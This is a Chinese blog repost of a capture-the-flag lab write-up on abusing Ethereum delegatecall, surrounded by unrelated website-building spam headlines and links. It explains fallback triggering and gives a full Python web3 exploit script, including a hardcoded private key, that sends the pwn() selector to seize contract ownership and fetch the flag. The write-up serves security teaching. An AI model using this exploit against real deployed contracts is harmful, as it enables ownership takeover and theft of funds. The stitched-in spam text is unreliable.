当前位置: 首页 > news >正文

商城网站开发费用一般是多少建设一个个人小说网站

商城网站开发费用一般是多少,建设一个个人小说网站,重庆建站模板源码,保健品网站模板区块链安全 文章目录 区块链安全Call函数簇滥用实战一实验目的实验环境实验原理实验内容实验过程 Call函数簇滥用实战一 实验目的 学会使用python3的web3模块 学会以太坊Delegatecall漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call 外部调用…

区块链安全

文章目录

  • 区块链安全
  • Call函数簇滥用实战一
    • 实验目的
    • 实验环境
    • 实验原理
    • 实验内容
    • 实验过程


Call函数簇滥用实战一

实验目的

学会使用python3的web3模块
学会以太坊Delegatecall漏洞分析及利用

实验环境

Ubuntu18.04操作机
实验工具
python3

实验原理

call 外部调用时,上下文是外部合约;delegatecall 外部调用时,上下文是调用合约
fallback函数调用条件:一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数;二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether

实验内容

找到Delegatecall漏洞并形成利用,把flag标志设置为true
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10005

实验过程

Call函数簇滥用实战一 实验步骤
获取合约地址和合约源代码
nc ip 10005连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述
在这里插入图片描述

nc ip 10005连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10005连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求把flag设置为true,分析合约代码,需要修改合约owner为自己
在这里插入图片描述

漏洞主要在于使用了delegatecall函数调用,delegatecall外部调用时,上下文是调用合约,所以delegate.delegatecall(msg.data)其实调用的是delegate自身的msg.data。
熟悉 raw 格式的交易的 data 的会知道:data 头4个 byte 是被调用方法的签名哈希,即 bytes4(keccak256(“func”)) , remix 里调用函数,实际是向合约账户地址发送了( msg.data[0:4] == 函数签名哈希 )的一笔交易,所以我们只需调用 ETH5 的 fallback 的同时在 msg.data 放入 pwn() 函数的签名即可。
这里其实主要思路就是 fallback 的触发条件:一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数;二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether。
综上,我们只需调用 Delegation 的 假pwn() 即可,这样就会触发 Delegation 的 fallback ,这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了,这样就会只需 delegate 的 pwn() 把 owner 变成自己
EXP利用
使用EOA账户调用ETH5合约的假pwn()函数将owner修改为攻击者自己,然后调用ETH5的getflag()函数即可,编写exp,将这一过程自动化,下述contract_address的地址换成自己题目合约的地址

from web3 import Web3, HTTPProvider
from solcx import compile_source
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0xBD29D46744beeD67e15bB20bf0f159aEfEEbBcE7"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptdata = Web3.keccak(text='pwn()').hex()[:10]# call pwn() in ETH5
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)time.sleep(5)# call getflag() in ETH5
data = Web3.keccak(text='getflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)

运行exp,status=1代表交易成功

在这里插入图片描述

nc ip 10005连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

http://www.yayakq.cn/news/121862/

相关文章:

  • 网页制作图专业整站优化
  • 英文网站建设怎么样电子商务网站建设期末试题08答案
  • 找人做网站要拿到源代码吗电脑速成班短期电脑培训班
  • 广德网站开发长宁手机网站建设
  • 网站推广合作wordpress添加页脚社交
  • 为什么打开网址都是站长工具学校网页网站模板
  • 廖雪峰的网站怎么做的中企动力做的网站怎么登陆
  • 新北仑网站怎么做的城乡建设部门户网站
  • 校园招聘哪个网站做的好企业策划书模板范文大学生
  • asp.net做电商网站苏州平台公司
  • jsp网站开发的环境配置过程无水印logo在线制作免费
  • wordpress怎么做背景东莞做网站乐云seo
  • 网站系统的建设与管理长春建设平台网站的公司
  • 个人网站的制作教程最好的网页设计公司
  • 用wordpress做外贸网站阿里网站建设费用
  • 唐山的网站建设天津市建设厅建筑业信息网
  • 网站建设哪家合适网页设计与网站组建
  • 手机网站用什么软件做的好怎么自己做网站怎么赚钱
  • c 做网站的六大对象网站建设英文字体
  • 可以做简历的网站哈尔滨市工程建设项目网
  • 学做窗帘的网站部门网站建设管理经验交流材料
  • 网站联系我们的地图怎么做编程是学什么东西的
  • 网页设计实验报告单模板常德seo招聘
  • 免费网站自助建站网站搭建费用
  • ios移动网站开发工具wordpress 应用商店模板
  • app网站建设阿里巴巴哈尔滨建工建设有限公司
  • 创建好网站如何把浏览英文网站建设方案 ppt模板
  • 全国做临期进口食品的网站如何快速学会做网站
  • 网站的跟目录网站内部优化的方法
  • 招商网站建设免费个人crm管理系统